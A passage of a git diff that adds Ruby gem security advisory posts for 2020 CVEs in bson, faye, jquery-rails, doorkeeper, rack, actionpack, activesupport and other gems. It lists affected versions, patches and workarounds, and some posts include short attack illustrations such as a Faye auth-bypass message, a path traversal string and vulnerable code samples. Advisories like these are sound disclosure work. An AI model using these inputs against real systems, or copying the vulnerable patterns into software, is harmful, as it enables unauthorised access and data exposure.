+  cvss_v3: 4.0
+  patched_versions:
+  - "~> 5.2.4, >= 5.2.4.2"
+  - ">= 6.0.2.2"
+---
diff --git a/advisories/_posts/2020-04-29-CVE-2015-4411.md b/advisories/_posts/2020-04-29-CVE-2015-4411.md
new file mode 100644
index 00000000..fbafe775
--- /dev/null
+++ b/advisories/_posts/2020-04-29-CVE-2015-4411.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2015-4411 (bson): Potential denial of service in bson rubygem'
+comments: false
+categories:
+- bson
+advisory:
+  gem: bson
+  cve: 2015-4411
+  ghsa: qh4w-7pw3-p4rp
+  url: https://github.com/advisories/GHSA-qh4w-7pw3-p4rp
+  date: 2020-04-29
+  title: Potential denial of service in bson rubygem
+  description: |
+    The Moped::BSON::ObjecId.legal? method in mongodb/bson-ruby before 3.0.4
+    as used in rubygem-moped allows remote attackers to cause a denial of service (worker
+    resource consumption) via a crafted string. NOTE: This issue is due to an incomplete
+    fix to CVE-2015-4410.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 3.0.4"
+  related:
+    cve:
+    - 2015-4410
+---
diff --git a/advisories/_posts/2020-04-29-CVE-2020-11020.md b/advisories/_posts/2020-04-29-CVE-2020-11020.md
new file mode 100644
index 00000000..d4436969
--- /dev/null
+++ b/advisories/_posts/2020-04-29-CVE-2020-11020.md
@@ -0,0 +1,95 @@
+---
+layout: advisory
+title: 'CVE-2020-11020 (faye): Authentication and extension bypass in Faye'
+comments: false
+categories:
+- faye
+advisory:
+  gem: faye
+  cve: 2020-11020
+  ghsa: qpg4-4w7w-2mq5
+  url: https://github.com/faye/faye/security/advisories/GHSA-qpg4-4w7w-2mq5
+  date: 2020-04-29
+  title: Authentication and extension bypass in Faye
+  description: |
+    On 20 April 2020 it was reported to me that the potential for authentication
+    bypass exists in [Faye][1]'s extension system. This vulnerability has existed in
+    the Node.js and Ruby versions of the server since version 0.5.0, when extensions
+    were first introduced, in July 2010. It is patched in versions 1.0.4, 1.1.3 and
+    1.2.5, which we are releasing today.
+
+    The vulnerability allows any client to bypass checks put in place by server-side
+    extensions, by appending extra segments to the message channel. For example, the
+    Faye [extension docs][2] suggest that users implement access control for
+    subscriptions by checking incoming messages for the `/meta/subscribe` channel,
+    for example:
+
+    ```js
+    server.addExtension({
+      incoming: function(message, callback) {
+        if (message.channel === '/meta/subscribe') {
+          if (message.ext.authToken !== 'my super secret password') {
+            message.error = 'Invalid auth token';
+          }
+        }
+        callback(message);
+      }
+    });
+    ```
+
+    A bug in the server's code for recognising the special `/meta/*` channels, which
+    trigger connection and subscription events, means that a client can bypass this
+    check by sending a message to `/meta/subscribe/x` rather than `/meta/subscribe`:
+
+    ```json
+    {
+      "channel": "/meta/subscribe/x",
+      "clientId": "3jrc6602npj4gyp6bn5ap2wqzjtb2q3",
+      "subscription": "/foo"
+    }
+    ```
+
+    This message will not be checked by the above extension, as it checks the
+    message's channel is exactly equal to `/meta/subscribe`. But it will still be
+    processed as a subscription request by the server, so the client becomes
+    subscribed to the channel `/foo` without supplying the necessary credentials.
+
+    The vulnerability is caused by the way the Faye server recognises meta channels.
+    It will treat a message to any channel that's a prefix-match for one of the
+    special channels `/meta/handshake`, `/meta/connect`, `/meta/subscribe`,
+    `/meta/unsubscribe` or `/meta/disconnect`, as though it were an exact match for
+    that channel. So, a message to `/meta/subscribe/x` is still processed as a
+    subscription request, for example.
+
+    An authentication bypass for subscription requests is the most serious effect of
+    this but all other meta channels are susceptible to similar manipulation.
+
+    This parsing bug in the server is fixed in versions 1.0.4, 1.1.3 and 1.2.5.
+    These should be drop-in replacements for prior versions and you should upgrade
+    immediately if you are running any prior version.
+
+    If you are unable to install one of these versions, you can make your extensions
+    catch all messages the server would process by checking the channel _begins_
+    with the expected channel name, for example:
+
+    ```js
+    server.addExtension({
+      incoming: function(message, callback) {
+        if (message.channel.startsWith('/meta/subscribe')) {
+          // authentication logic
+        }
+        callback(message);
+      }
+    });
+    ```
+
+    [1]: https://faye.jcoglan.com/
+    [2]: https://faye.jcoglan.com/node/extensions.html
+  cvss_v3: 8.5
+  patched_versions:
+  - "~> 1.0.4"
+  - "~> 1.1.3"
+  - ">= 1.2.5"
+  unaffected_versions:
+  - "< 0.5.0"
+---
diff --git a/advisories/_posts/2020-04-29-CVE-2020-11022.md b/advisories/_posts/2020-04-29-CVE-2020-11022.md
new file mode 100644
index 00000000..441da288
--- /dev/null
+++ b/advisories/_posts/2020-04-29-CVE-2020-11022.md
@@ -0,0 +1,99 @@
+---
+layout: advisory
+title: 'CVE-2020-11022 (jquery-rails): Potential XSS vulnerability in jQuery'
+comments: false
+categories:
+- jquery-rails
+advisory:
+  gem: jquery-rails
+  cve: 2020-11022
+  ghsa: gxr4-xjj5-5px2
+  url: https://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2
+  title: Potential XSS vulnerability in jQuery
+  date: 2020-04-29
+  description: |
+    ### Impact
+    Passing HTML from untrusted sources - even after sanitizing it - to
+    one of jQuery's DOM manipulation methods (i.e. `.html()`, `.append()`,
+    and others) may execute untrusted code.
+
+    ### Patches
+    This problem is patched in jQuery 3.5.0.
+
+    ### Workarounds
+    To workaround the issue without upgrading, adding the following to
+    your code:
+    ```js
+    jQuery.htmlPrefilter = function( html ) {
+      return html;
+    };
+    ```
+    You need to use at least jQuery 1.12/2.2 or newer to be able to
+    apply this workaround.
+
+    ### References
+    https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/
+    https://jquery.com/upgrade-guide/3.5/
+
+    ### For more information
+    If you have any questions or comments about this advisory, search
+    for a relevant issue in
+    [the jQuery repo](https://github.com/jquery/jquery/issues).
+
+    If you don't find an answer, open a new issue."
+  cvss_v2: 4.3
+  cvss_v3: 6.9
+  unaffected_versions:
+  - "< 1.2.0"
+  patched_versions:
+  - ">= 3.5.0"
+  related:
+    url:
+    - https://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2
+    - https://github.com/jquery/jquery/commit/1d61fd9407e6fbe82fe55cb0b938307aa0791f77
+    - https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/
+    - https://jquery.com/upgrade-guide/3.5/
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-11022
+    - https://security.netapp.com/advisory/ntap-20200511-0006/
+    - https://www.drupal.org/sa-core-2020-002
+    - https://www.debian.org/security/2020/dsa-4693
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VOE7P7APPRQKD4FGNHBKJPDY6FFCOH3W/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QPN2L2XVQGUA2V5HNQJWHK3APSK3VN7K/
+    - https://www.oracle.com/security-alerts/cpujul2020.html
+    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00067.html
+    - https://security.gentoo.org/glsa/202007-03
+    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00085.html
+    - https://lists.apache.org/thread.html/rdf44341677cf7eec7e9aa96dcf3f37ed709544863d619cca8c36f133@
+    - https://github.com/advisories/GHSA-gxr4-xjj5-5px2
+    - https://www.npmjs.com/advisories/1518
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AVKYXLWCLZBV2N7M46KYK4LVA5OXWPBY/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SFP4UK4EGP4AFH2MWYJ5A5Z4I7XVFQ6B/
+    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SAPQVX3XDNPGFT26QAQ6AJIXZZBZ4CD4/
+    - https://www.oracle.com/security-alerts/cpuoct2020.html
+    - https://lists.apache.org/thread.html/r706cfbc098420f7113968cc377247ec3d1439bce42e679c11c609e2d@
+    - https://lists.apache.org/thread.html/rbb448222ba62c430e21e13f940be4cb5cfc373cd3bce56b48c0ffa67@
+    - http://lists.opensuse.org/opensuse-security-announce/2020-11/msg00039.html
+    - https://lists.apache.org/thread.html/r49ce4243b4738dd763caeb27fa8ad6afb426ae3e8c011ff00b8b1f48@
+    - https://www.tenable.com/security/tns-2020-10
+    - https://www.tenable.com/security/tns-2020-11
+    - https://www.oracle.com/security-alerts/cpujan2021.html
+    - https://lists.apache.org/thread.html/r564585d97bc069137e64f521e68ba490c7c9c5b342df5d73c49a0760@
+    - https://lists.apache.org/thread.html/r8f70b0f65d6bedf316ecd899371fd89e65333bc988f6326d2956735c@
+    - https://www.tenable.com/security/tns-2021-02
+    - https://lists.debian.org/debian-lts-announce/2021/03/msg00033.html
+    - http://packetstormsecurity.com/files/162159/jQuery-1.2-Cross-Site-Scripting.html
+    - https://lists.apache.org/thread.html/rede9cfaa756e050a3d83045008f84a62802fc68c17f2b4eabeaae5e4@
+    - https://lists.apache.org/thread.html/ree3bd8ddb23df5fa4e372d11c226830ea3650056b1059f3965b3fce2@
+    - https://lists.apache.org/thread.html/r54565a8f025c7c4f305355fdfd75b68eca442eebdb5f31c2e7d977ae@
+    - https://lists.apache.org/thread.html/re4ae96fa5c1a2fe71ccbb7b7ac1538bd0cb677be270a2bf6e2f8d108@
+    - https://www.tenable.com/security/tns-2021-10
+    - https://www.oracle.com/security-alerts/cpuApr2021.html
+    - https://www.oracle.com//security-alerts/cpujul2021.html
+    - https://www.oracle.com/security-alerts/cpuoct2021.html
+    - https://lists.apache.org/thread.html/r0483ba0072783c2e1bfea613984bfb3c86e73ba8879d780dc1cc7d36@
+    - https://github.com/jquery/jquery/releases/tag/3.5.0
+    - https://www.oracle.com/security-alerts/cpujan2022.html
+    - https://www.oracle.com/security-alerts/cpuapr2022.html
+    - https://www.oracle.com/security-alerts/cpujul2022.html
+    - https://lists.debian.org/debian-lts-announce/2023/08/msg00040.html
+---
diff --git a/advisories/_posts/2020-04-29-CVE-2020-11023.md b/advisories/_posts/2020-04-29-CVE-2020-11023.md
new file mode 100644
index 00000000..bda15a51
--- /dev/null
+++ b/advisories/_posts/2020-04-29-CVE-2020-11023.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2020-11023 (jquery-rails): Potential XSS vulnerability in jQuery'
+comments: false
+categories:
+- jquery-rails
+- rails
+advisory:
+  gem: jquery-rails
+  framework: rails
+  cve: 2020-11023
+  ghsa: jpcq-cgw6-v4j6
+  date: 2020-04-29
+  url: https://blog.jquery.com/2020/04/10/jquery-3-5-0-released
+  title: Potential XSS vulnerability in jQuery
+  description: |
+    ## Impact
+
+    Passing HTML containing `<option>` elements from untrusted sources - even after
+    sanitizing them - to one of jQuery's DOM manipulation methods (i.e. `.html()`,
+    `.append()`, and others) may execute untrusted code.
+
+    ## Workarounds
+
+    To workaround this issue without upgrading, use DOMPurify with its
+    `SAFE_FOR_JQUERY` option to sanitize the HTML string before passing it to a
+    jQuery method.
+  cvss_v3: 6.9
+  patched_versions:
+  - ">= 4.4.0"
+  related:
+    url:
+    - https://github.com/rails/jquery-rails/blob/master/CHANGELOG.md#440
+---
diff --git a/advisories/_posts/2020-05-02-CVE-2020-10187.md b/advisories/_posts/2020-05-02-CVE-2020-10187.md
new file mode 100644
index 00000000..3f41d042
--- /dev/null
+++ b/advisories/_posts/2020-05-02-CVE-2020-10187.md
@@ -0,0 +1,37 @@
+---
+layout: advisory
+title: 'CVE-2020-10187 (doorkeeper): Doorkeeper application secret information disclosure
+  vulnerability'
+comments: false
+categories:
+- doorkeeper
+advisory:
+  gem: doorkeeper
+  ghsa: j7vx-8mqj-cqp9
+  cve: 2020-10187
+  date: 2020-05-02
+  url: https://github.com/doorkeeper-gem/doorkeeper/security/advisories/GHSA-j7vx-8mqj-cqp9
+  title: Doorkeeper application secret information disclosure vulnerability
+  description: |
+    Information disclosure vulnerability. Allows an attacker to see all
+    Doorkeeper::Application model attribute values (including secrets) after
+    authorizing an application to their user.
+
+    An application is vulnerable if the authorized applications controller is
+    enabled (GET /oauth/authorized_applications.json).
+
+    Recommended additional hardening for >= 5.1 is to enable application secrets
+    hashing. This would render the exposed secret useless.
+  unaffected_versions:
+  - "< 5.0.0"
+  patched_versions:
+  - "~> 5.0.3"
+  - "~> 5.1.1"
+  - "~> 5.2.5"
+  - ">= 5.3.2"
+  cvss_v2: 5.5
+  cvss_v3: 5.4
+  related:
+    url:
+    - https://github.com/doorkeeper-gem/doorkeeper/commit/25d038022c2fcad45af5b73f9d003cf38ff491f6
+---
diff --git a/advisories/_posts/2020-05-05-CVE-2020-8151.md b/advisories/_posts/2020-05-05-CVE-2020-8151.md
new file mode 100644
index 00000000..b6f18d32
--- /dev/null
+++ b/advisories/_posts/2020-05-05-CVE-2020-8151.md
@@ -0,0 +1,58 @@
+---
+layout: advisory
+title: 'CVE-2020-8151 (activeresource): activeresource Gem for Ruby lib/active_resource/base.rb
+  element_path Lack of Encoding'
+comments: false
+categories:
+- activeresource
+advisory:
+  gem: activeresource
+  cve: 2020-8151
+  ghsa: 46j2-xjgp-jrfm
+  url: https://groups.google.com/forum/#!topic/rubyonrails-security/pktoF4VmiM8
+  title: activeresource Gem for Ruby lib/active_resource/base.rb element_path Lack
+    of Encoding
+  date: 2020-05-05
+  description: |
+    activeresource contains a lack of encoding flaw in the element_path function of
+    lib/active_resource/base.rb.
+
+    There is an issue with the way Active Resource encodes data before querying the back end server.  This encoding mechanism can allow specially crafted requests to possibly access data that may not be expected.
+
+    Impacted code will look something like this:
+
+    ```
+    require 'activeresource'
+
+    class Test < ActiveResource::Base
+      self.site = 'http://127.0.0.1:3000'
+    end
+
+    Test.exists?(untrusted_user_input)
+    ```
+
+    Where untrusted user input is passed to an Active Resource model.  Specially crafted untrusted input can cause Active Resource to access data in an unexpected way and possibly leak information.
+
+    Workarounds
+    -------------
+
+    For those that can't upgrade, the following monkey patch can be applied:
+
+    ```
+    module ActiveResource
+     class Base
+       class << self
+         def element_path(id, prefix_options = {}, query_options = nil)
+           check_prefix_options(prefix_options)
+
+           prefix_options, query_options = split_options(prefix_options) if query_options.nil?
+           "#{prefix(prefix_options)}#{collection_name}/#{URI.encode_www_form_component(id.to_s)}#{format_extension}#{query_string(query_options)}"
+         end
+       end
+     end
+    end
+    ```
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 5.1.1"
+---
diff --git a/advisories/_posts/2020-05-06-CVE-2020-8159.md b/advisories/_posts/2020-05-06-CVE-2020-8159.md
new file mode 100644
index 00000000..af47a5f7
--- /dev/null
+++ b/advisories/_posts/2020-05-06-CVE-2020-8159.md
@@ -0,0 +1,49 @@
+---
+layout: advisory
+title: 'CVE-2020-8159 (actionpack-page_caching): Arbitrary file write/potential remote
+  code execution in actionpack-page_caching'
+comments: false
+categories:
+- actionpack-page_caching
+advisory:
+  gem: actionpack-page_caching
+  cve: 2020-8159
+  ghsa: mg5p-95m9-rmfp
+  url: https://groups.google.com/forum/#!topic/rubyonrails-security/CFRVkEytdP8
+  title: Arbitrary file write/potential remote code execution in actionpack-page_caching
+  date: 2020-05-06
+  description: |
+    There is a vulnerability in the actionpack-page_caching gem that allows an attacker
+    to write arbitrary files to a web server, potentially resulting in remote code execution
+    if the attacker can write unescaped ERB to a view.
+
+    Versions Affected:  All versions of actionpack-page_caching (part of Rails prior to Rails 4.0)
+    Not affected:       Applications not using actionpack-page_caching
+    Fixed Versions:     actionpack-page_caching >= 1.2.1
+
+    Impact
+    ------
+
+    The Action Pack Page Caching gem writes cache files to the file system in
+    order for the front end webserver (nginx, Apache, etc) to serve the cached
+    file without making a request to the application server.  Paths contain what
+    is effectively user input can be used to manipulate the location of the cache
+    file.
+
+    For example "/users/123" could be changed to "/users/../../../foo" and this
+    will escape the cache directory.  Attackers can use this technique to
+    springboard to an RCE if they can write arbitrary ERb to a view folder.
+
+    Impacted code looks like this:
+
+    ```
+    class BooksController < ApplicationController
+      caches_page :show
+    end
+    ```
+
+    Where the `show` action of the `BooksController` may be vulnerable.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.2.1"
+---
diff --git a/advisories/_posts/2020-05-07-CVE-2020-11052.md b/advisories/_posts/2020-05-07-CVE-2020-11052.md
new file mode 100644
index 00000000..0a60c5cf
--- /dev/null
+++ b/advisories/_posts/2020-05-07-CVE-2020-11052.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2020-11052 (sorcery): Improper Restriction of Excessive Authentication
+  Attempts in Sorcery'
+comments: false
+categories:
+- sorcery
+advisory:
+  gem: sorcery
+  cve: 2020-11052
+  ghsa: jc8m-cxhj-668x
+  url: https://github.com/Sorcery/sorcery/security/advisories/GHSA-jc8m-cxhj-668x
+  date: 2020-05-07
+  title: Improper Restriction of Excessive Authentication Attempts in Sorcery
+  description: |
+    ### Impact
+    Brute force vulnerability when using password authentication via Sorcery.
+    The brute force protection submodule will prevent a brute force attack for
+    the defined lockout period, but once expired protection will not be re-enabled
+    until a user or malicious actor logs in successfully. This does not affect users
+    that do not use the built-in brute force protection submodule, nor users that use
+    permanent account lockout.
+
+    ### Patches
+    Patched as of version `0.15.0`.
+
+    ### Workarounds
+    Currently no workarounds, other than monkey patching the authenticate method
+    provided by Sorcery or upgrading to version `0.15.0`.
+  cvss_v3: 8.3
+  patched_versions:
+  - ">= 0.15.0"
+---
diff --git a/advisories/_posts/2020-05-12-CVE-2020-8161.md b/advisories/_posts/2020-05-12-CVE-2020-8161.md
new file mode 100644
index 00000000..dbc2b7de
--- /dev/null
+++ b/advisories/_posts/2020-05-12-CVE-2020-8161.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2020-8161 (rack): Directory traversal in Rack::Directory app bundled with
+  Rack'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2020-8161
+  ghsa: 5f9h-9pjv-v6j7
+  url: https://groups.google.com/forum/#!topic/ruby-security-ann/T4ZIsfRf2eA
+  title: Directory traversal in Rack::Directory app bundled with Rack
+  date: 2020-05-12
+  description: |
+    There was a possible directory traversal vulnerability in the Rack::Directory app
+    that is bundled with Rack.
+
+    Versions Affected:  rack < 2.2.0
+    Not affected:       Applications that do not use Rack::Directory.
+    Fixed Versions:     2.1.3, >= 2.2.0
+
+    Impact
+    ------
+
+    If certain directories exist in a director that is managed by
+    `Rack::Directory`, an attacker could, using this vulnerability, read the
+    contents of files on the server that were outside of the root specified in the
+    Rack::Directory initializer.
+
+    Workarounds
+    -----------
+
+    Until such time as the patch is applied or their Rack version is upgraded,
+    we recommend that developers do not use Rack::Directory in their
+    applications.
+  cvss_v3: 8.6
+  patched_versions:
+  - "~> 2.1.3"
+  - ">= 2.2.0"
+---
diff --git a/advisories/_posts/2020-05-15-CVE-2020-8163.md b/advisories/_posts/2020-05-15-CVE-2020-8163.md
new file mode 100644
index 00000000..06e851e4
--- /dev/null
+++ b/advisories/_posts/2020-05-15-CVE-2020-8163.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2020-8163 (actionview): Potential remote code execution of user-provided
+  local names in ActionView'
+comments: false
+categories:
+- actionview
+- rails
+advisory:
+  gem: actionview
+  framework: rails
+  cve: 2020-8163
+  ghsa: cr3x-7m39-c6jq
+  url: https://groups.google.com/forum/#!topic/rubyonrails-security/hWuKcHyoKh0
+  title: Potential remote code execution of user-provided local names in ActionView
+  date: 2020-05-15
+  description: |
+    There was a vulnerability in versions of Rails prior to 5.0.1 that would
+    allow an attacker who controlled the `locals` argument of a `render` call.
+
+    Versions Affected:  rails < 5.0.1
+    Not affected:       Applications that do not allow users to control the names of locals.
+    Fixed Versions:     4.2.11.2
+
+    Impact
+    ------
+
+    In the scenario where an attacker might be able to control the name of a
+    local passed into `render`, they can acheive remote code execution.
+
+    Workarounds
+    -----------
+
+    Until such time as the patch can be applied, application developers should
+    ensure that all user-provided local names are alphanumeric.
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 4.2.11.2"
+---
diff --git a/advisories/_posts/2020-05-18-CVE-2020-8162.md b/advisories/_posts/2020-05-18-CVE-2020-8162.md
new file mode 100644
index 00000000..48bbfd3a
--- /dev/null
+++ b/advisories/_posts/2020-05-18-CVE-2020-8162.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2020-8162 (activestorage): Circumvention of file size limits in ActiveStorage'
+comments: false
+categories:
+- activestorage
+- rails
+advisory:
+  gem: activestorage
+  framework: rails
+  cve: 2020-8162
+  ghsa: m42x-37p3-fv5w
+  url: https://groups.google.com/forum/#!topic/rubyonrails-security/PjU3946mreQ
+  title: Circumvention of file size limits in ActiveStorage
+  date: 2020-05-18
+  description: |
+    There is a vulnerability in ActiveStorage's S3 adapter that allows the Content-Length of a
+    direct file upload to be modified by an end user.
+
+    Versions Affected:  rails < 5.2.4.2, rails < 6.0.3.1
+    Not affected:       Applications that do not use the direct upload functionality of the ActiveStorage S3 adapter.
+    Fixed Versions:     rails >= 5.2.4.3, rails >= 6.0.3.1
+
+    Impact
+    ------
+
+    Utilizing this vulnerability, an attacker can control the Content-Length of an S3 direct upload URL without receiving a
+    new signature from the server. This could be used to bypass controls in place on the server to limit upload size.
+
+    Workarounds
+    -----------
+
+    This is a low-severity security issue. As such, no workaround is necessarily
+    until such time as the application can be upgraded.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 5.2.4, >= 5.2.4.3"
+  - ">= 6.0.3.1"
+---
diff --git a/advisories/_posts/2020-05-18-CVE-2020-8164.md b/advisories/_posts/2020-05-18-CVE-2020-8164.md
new file mode 100644
index 00000000..9ab38560
--- /dev/null
+++ b/advisories/_posts/2020-05-18-CVE-2020-8164.md
@@ -0,0 +1,57 @@
+---
+layout: advisory
+title: 'CVE-2020-8164 (actionpack): Possible Strong Parameters Bypass in ActionPack'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2020-8164
+  ghsa: 8727-m6gj-mc37
+  url: https://groups.google.com/forum/#!topic/rubyonrails-security/f6ioe4sdpbY
+  title: Possible Strong Parameters Bypass in ActionPack
+  date: 2020-05-18
+  description: |
+    There is a strong parameters bypass vector in ActionPack.
+
+    Versions Affected:  rails <= 6.0.3
+    Not affected:       rails < 4.0.0
+    Fixed Versions:     rails >= 5.2.4.3, rails >= 6.0.3.1
+
+    Impact
+    ------
+    In some cases user supplied information can be inadvertently leaked from
+    Strong Parameters.  Specifically the return value of `each`, or `each_value`,
+    or `each_pair` will return the underlying "untrusted" hash of data that was
+    read from the parameters.  Applications that use this return value may be
+    inadvertently use untrusted user input.
+
+    Impacted code will look something like this:
+
+    ```
+    def update
+      # Attacker has included the parameter: `{ is_admin: true }`
+      User.update(clean_up_params)
+    end
+
+    def clean_up_params
+       params.each { |k, v|  SomeModel.check(v) if k == :name }
+    end
+    ```
+
+    Note the mistaken use of `each` in the `clean_up_params` method in the above
+    example.
+
+    Workarounds
+    -----------
+    Do not use the return values of `each`, `each_value`, or `each_pair` in your
+    application.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 4.0.0"
+  patched_versions:
+  - "~> 5.2.4, >= 5.2.4.3"
+  - ">= 6.0.3.1"
+---
diff --git a/advisories/_posts/2020-05-18-CVE-2020-8165.md b/advisories/_posts/2020-05-18-CVE-2020-8165.md
new file mode 100644
index 00000000..830a16ed
--- /dev/null
+++ b/advisories/_posts/2020-05-18-CVE-2020-8165.md
@@ -0,0 +1,52 @@
+---
+layout: advisory
+title: 'CVE-2020-8165 (activesupport): Potentially unintended unmarshalling of user-provided
+  objects in MemCacheStore and RedisCacheStore'
+comments: false
+categories:
+- activesupport
+- rails
+advisory:
+  gem: activesupport
+  framework: rails
+  cve: 2020-8165
+  ghsa: 2p68-f74v-9wc6
+  url: https://groups.google.com/forum/#!topic/rubyonrails-security/bv6fW4S0Y1c
+  title: Potentially unintended unmarshalling of user-provided objects in MemCacheStore
+    and RedisCacheStore
+  date: 2020-05-18
+  description: |
+    There is potentially unexpected behaviour in the MemCacheStore and RedisCacheStore where, when
+    untrusted user input is written to the cache store using the `raw: true` parameter, re-reading the result
+    from the cache can evaluate the user input as a Marshalled object instead of plain text. Vulnerable code looks like:
+
+    ```
+    data = cache.fetch("demo", raw: true) { untrusted_string }
+    ```
+
+    Versions Affected:  rails < 5.2.5, rails < 6.0.4
+    Not affected:       Applications not using MemCacheStore or RedisCacheStore. Applications that do not use the `raw` option when storing untrusted user input.
+    Fixed Versions:     rails >= 5.2.4.3, rails >= 6.0.3.1
+
+    Impact
+    ------
+
+    Unmarshalling of untrusted user input can have impact up to and including RCE. At a minimum,
+    this vulnerability allows an attacker to inject untrusted Ruby objects into a web application.
+
+    In addition to upgrading to the latest versions of Rails, developers should ensure that whenever
+    they are calling `Rails.cache.fetch` they are using consistent values of the `raw` parameter for both
+    reading and writing, especially in the case of the RedisCacheStore which does not, prior to these changes,
+    detect if data was serialized using the raw option upon deserialization.
+
+    Workarounds
+    -----------
+
+    It is recommended that application developers apply the suggested patch or upgrade to the latest release as
+    soon as possible. If this is not possible, we recommend ensuring that all user-provided strings cached using
+    the `raw` argument should be double-checked to ensure that they conform to the expected format.
+  cvss_v3: 9.8
+  patched_versions:
+  - "~> 5.2.4, >= 5.2.4.3"
+  - ">= 6.0.3.1"
+---
diff --git a/advisories/_posts/2020-05-18-CVE-2020-8166.md b/advisories/_posts/2020-05-18-CVE-2020-8166.md
new file mode 100644
index 00000000..8dc85612
--- /dev/null
+++ b/advisories/_posts/2020-05-18-CVE-2020-8166.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2020-8166 (actionpack): Ability to forge per-form CSRF tokens given a
+  global CSRF token'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2020-8166
+  ghsa: jp5v-5gx4-jmj9
+  url: https://groups.google.com/forum/#!topic/rubyonrails-security/NOjKiGeXUgw
+  title: Ability to forge per-form CSRF tokens given a global CSRF token
+  date: 2020-05-18
+  description: |
+    It is possible to possible to, given a global CSRF token such as the one
+    present in the authenticity_token meta tag, forge a per-form CSRF token for
+    any action for that session.
+
+    Versions Affected:  rails < 5.2.5, rails < 6.0.4
+    Not affected:       Applications without existing HTML injection vulnerabilities.
+    Fixed Versions:     rails >= 5.2.4.3, rails >= 6.0.3.1
+
+    Impact
+    ------
+
+    Given the ability to extract the global CSRF token, an attacker would be able to
+    construct a per-form CSRF token for that session.
+
+    Workarounds
+    -----------
+
+    This is a low-severity security issue. As such, no workaround is necessarily
+    until such time as the application can be upgraded.
+  cvss_v3: 4.3
+  patched_versions:
+  - "~> 5.2.4, >= 5.2.4.3"
+  - ">= 6.0.3.1"
+---
diff --git a/advisories/_posts/2020-05-18-CVE-2020-8167.md b/advisories/_posts/2020-05-18-CVE-2020-8167.md
new file mode 100644
index 00000000..41c7e6b0
--- /dev/null
+++ b/advisories/_posts/2020-05-18-CVE-2020-8167.md
@@ -0,0 +1,54 @@
+---
+layout: advisory
+title: 'CVE-2020-8167 (actionview): CSRF Vulnerability in rails-ujs'
+comments: false
+categories:
+- actionview
+- rails
+advisory:
+  gem: actionview
+  framework: rails
+  cve: 2020-8167
+  ghsa: xq5j-gw7f-jgj8
+  url: https://groups.google.com/forum/#!topic/rubyonrails-security/x9DixQDG9a0
+  title: CSRF Vulnerability in rails-ujs
+  date: 2020-05-18
+  description: |
+    There is an vulnerability in rails-ujs that allows attackers to send
+    CSRF tokens to wrong domains.
+
+    Versions Affected:  rails <= 6.0.3
+    Not affected:       Applications which don't use rails-ujs.
+    Fixed Versions:     rails >= 5.2.4.3, rails >= 6.0.3.1
+
+    Impact
+    ------
+
+    This is a regression of CVE-2015-1840.
+
+    In the scenario where an attacker might be able to control the href attribute of an anchor tag or
+    the action attribute of a form tag that will trigger a POST action, the attacker can set the
+    href or action to a cross-origin URL, and the CSRF token will be sent.
+
+    Workarounds
+    -----------
+
+    To work around this problem, change code that allows users to control the href attribute of an anchor
+    tag or the action attribute of a form tag to filter the user parameters.
+
+    For example, code like this:
+
+        link_to params
+
+    to code like this:
+
+        link_to filtered_params
+
+        def filtered_params
+          # Filter just the parameters that you trust
+        end
+  cvss_v3: 6.5
+  patched_versions:
+  - "~> 5.2.4, >= 5.2.4.3"
+  - ">= 6.0.3.1"
+---
diff --git a/advisories/_posts/2020-05-20-CVE-2020-7656.md b/advisories/_posts/2020-05-20-CVE-2020-7656.md
new file mode 100644
index 00000000..c9b469ca
--- /dev/null
+++ b/advisories/_posts/2020-05-20-CVE-2020-7656.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2020-7656 (jquery-rails): Cross-Site Scripting in jquery'
+comments: false
+categories:
+- jquery-rails
+advisory:
+  gem: jquery-rails
+  cve: 2020-7656
+  ghsa: q4m3-2j7h-f7xw
+  url: https://snyk.io/vuln/SNYK-JS-JQUERY-569619
+  title: Cross-Site Scripting in jquery
+  date: 2020-05-20
+  description: |
+    Versions of `jquery` prior to 1.9.0 are vulnerable to Cross-Site
+    Scripting. The load method fails to recognize and remove "<script>"
+    HTML tags that contain a whitespace character, i.e: "</script >",
+    which results in the enclosed script logic to be executed. This
+    allows attackers to execute arbitrary JavaScript in a victim's browser.
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 2.1.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-7656
+    - https://github.com/rails/jquery-rails/blob/master/CHANGELOG.md#220-19-january-2013
+    - https://github.com/rails/jquery-rails/blob/v2.1.4/vendor/assets/javascripts/jquery.js#L7481
+    - https://github.com/advisories/GHSA-q4m3-2j7h-f7xw
+---
diff --git a/advisories/_posts/2020-05-22-CVE-2020-11076.md b/advisories/_posts/2020-05-22-CVE-2020-11076.md
new file mode 100644
index 00000000..301ca4ea
--- /dev/null
